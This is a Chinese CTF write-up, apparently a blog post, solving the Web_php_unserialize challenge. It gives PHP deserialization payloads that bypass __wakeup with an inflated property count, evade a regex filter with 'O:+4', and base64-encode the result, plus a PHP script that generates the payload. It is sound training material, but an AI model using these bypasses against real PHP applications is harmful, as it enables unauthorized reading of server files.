[CTF/网络安全] 攻防世界 Web_php_unserialize 解题详析

代码审计

这段代码首先定义了一个名为 Demo 的类,包含了一个私有变量 $file 和三个魔术方法 __construct()、__destruct() 和 __wakeup()。其中:

  • __construce()方法用于初始化 $file 变量

  • __destruce方法用于输出文件内容

  • __wakeup() 方法检查当前对象的 $file 变量,如果不等于 index.php,则将其重置为 index.php,从而防止攻击者通过反序列化攻击来读取 fl4g.php 文件的内容。

    if (isset(_GET['var'])) { var = base64_decode(_GET['var']); if (preg_match('/[oc]:\d+:/i', var)) {
    die('stop hacking!');
    } else {
    @unserialize($var);
    }
    } else {
    highlight_file("index.php");
    }
    ?>

这段代码主要是用于接收 GET 参数 var,使用 base64_decode 函数对 var 进行解码,然后通过 preg_match 函数判断是否包含类似 o:2的字符串,如果存在则中断程序执行,否则调用 @unserialize 函数进行反序列化操作。

解题思路

逆向思想:由于反序列化时先执行wakeup函数,故先绕过wakeup函数,再依次绕过preg_match函数与base64编码。

构造初始POC:

复制代码
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

wakeup绕过

修改反序列化串的对象属性个数,使之大于真实属性个数即可。

构造POC如下:

复制代码
O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

preg_match绕过

preg_match的正则表达式/[oc]:\d+:/i表示匹配任意个位于开头的 o 或 c 字符,紧接着一个冒号,然后是一或多个数字,最后是一个冒号,不区分大小写。

即形如o:2:的字符串被过滤,使用 + 即可绕过(固定知识点

构造POC如下:

复制代码
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

base64绕过

由于题目将字符串进行base64解码,故将POC进行base64编码即可:

复制代码
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

GET传参

利用var构造POC如下:

复制代码
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

PHP序列化的时候对public protected private变量的处理方式是不同的

public无标记,变量名不变,如s:3:"qiu";i:2;

protected在变量名前添加标记\00*\00,长度加3,如s:6:"\00*\00qiu";i:2;

private在变量名前添加标记\00(classname)\00,长度+2+类名长度,如s:17:"\00FileHandler_Z\00op";i:2;

method 2

由于手动构造POC链会出现输出乱码的情况,因此法二采用工具进行序列化。

代码如下:

复制代码
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}


$Q=new Demo("fl4g.php");

$Q=serialize($Q);  //序列化

$Q=str_replace("O:4","O:+4",$Q);  //+号绕过

$Q=str_replace(":1:{",":2:{",$Q);  // wakeup绕过

$Q=base64_encode($Q);  //base64绕过

echo $Q;
?>
相关推荐
木子啊几秒前
PHP中间件:ThinkCMF 6.x核心利器解析
开发语言·中间件·php
东东5163 分钟前
OA自动化居家办公管理系统 ssm+vue
java·前端·vue.js·后端·毕业设计·毕设
周某人姓周7 分钟前
DOM型XSS案例
前端·安全·web安全·网络安全·xss
程序员鱼皮18 分钟前
前特斯拉 AI 总监:AI 编程最大的谎言,是 “提效”
前端·后端·ai·程序员·开发
Big Cole18 分钟前
PHP面试题(核心基础篇:垃圾回收+自动加载)
android·开发语言·php
pusheng202530 分钟前
普晟传感2026年新春年会总结与分析
前端·javascript·html
谢尔登31 分钟前
React19事件调度的设计思路
前端·javascript·react.js
Emma_Maria41 分钟前
本地项目html和jquery,访问地址报跨域解决
前端·html·jquery
奋斗吧程序媛1 小时前
常用且好用的命令
前端·编辑器
2301_796512521 小时前
【精通篇】打造React Native鸿蒙跨平台开发高级复合组件库开发系列:Lazyload 懒加载(懒加载的图片)
前端·javascript·react native·react.js·ecmascript·harmonyos